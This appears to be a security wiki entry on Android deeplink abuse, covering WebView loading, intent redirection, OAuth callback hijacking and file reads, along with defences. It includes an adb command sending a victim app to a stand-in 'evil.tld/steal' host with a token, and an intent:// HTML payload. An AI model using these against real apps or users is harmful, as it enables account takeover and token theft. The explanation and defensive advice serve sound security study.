Android deeplink abuse
TL;DR: Apps register custom schemes or App Links that map URLs to internal activities; unvalidated extras and WebView passthrough turn a single click into account takeover, file read or XSS-in-WebView.
What it is
Deeplinks are intent filters that bind URIs (myapp://..., https://app.example.com/...) to specific activities. When a browser, another app, or an SMS opens the URL, Android delivers an Intent containing the URL and any path/query parameters. If the handler trusts those parameters — passing them to a WebView, an authentication token endpoint, or a file API — the deeplink becomes a remote attack vector.
Preconditions / where it applies
- Activity declares
<intent-filter>with<data android:scheme="..."/>and is exported - For
android:autoVerify="true"App Links, the verification host either is not yours or returns a misconfiguredassetlinks.jsonso the scheme falls back to a chooser - Handler reuses URL data unsafely (WebView, Intent forwarding, token validation, file open)
Technique
- Extract every
<data>block from android-manifest-analysis to list reachable schemes/hosts/paths. - Identify the target activity and trace
getIntent().getData()/Uri.getQueryParameter(...)consumers. - Craft a URL and trigger it from any context that can open intents (browser, second app, NFC tag, QR code).
1
2
3
4
# Fire a custom-scheme deeplink directly
adb shell am start -W -a android.intent.action.VIEW \
-d "myapp://profile?next=https://evil.tld/steal&token=AAA" \
com.victim
1
2
<!-- Browser-based delivery (works against http(s) intent filters or via intent: URI) -->
<a href="intent://x/y?z=1#Intent;scheme=myapp;package=com.victim;end">go</a>
Patterns that pay:
- WebView load:
webView.loadUrl(uri.getQueryParameter("url"))→ XSS / token theft via JS bridge (@JavascriptInterface). - Intent redirection: handler builds a new Intent from a URL extra and calls
startActivity— leads to launching un-exported internal activities under the app’s identity. - OAuth callback hijack: a second app registers the same
redirect_urischeme; without App Links verification both apps receive the auth code (Android resolves via chooser or first-installed). - File read:
ContentResolver.openInputStream(uri)on attacker-controlled URI returns arbitrarycontent://orfile://data.
Detection and defence
- Prefer verified App Links (HTTPS +
assetlinks.json) over custom schemes; reject the fallback path - Allow-list hosts/schemes before loading anything into a WebView; disable
setJavaScriptEnabledand@JavascriptInterfaceunless required - Never
startActivityon an Intent reconstructed from URL parameters withoutsetPackage(getPackageName()) - Use PKCE for OAuth so a stolen
codeis unusable without the verifier - See android-components for the exported-surface baseline
References
- Android App Links — verification model
- HackTricks – Deep Links — exploitation patterns
- OAuth 2.0 for Native Apps (RFC 8252) — PKCE + redirect-URI rules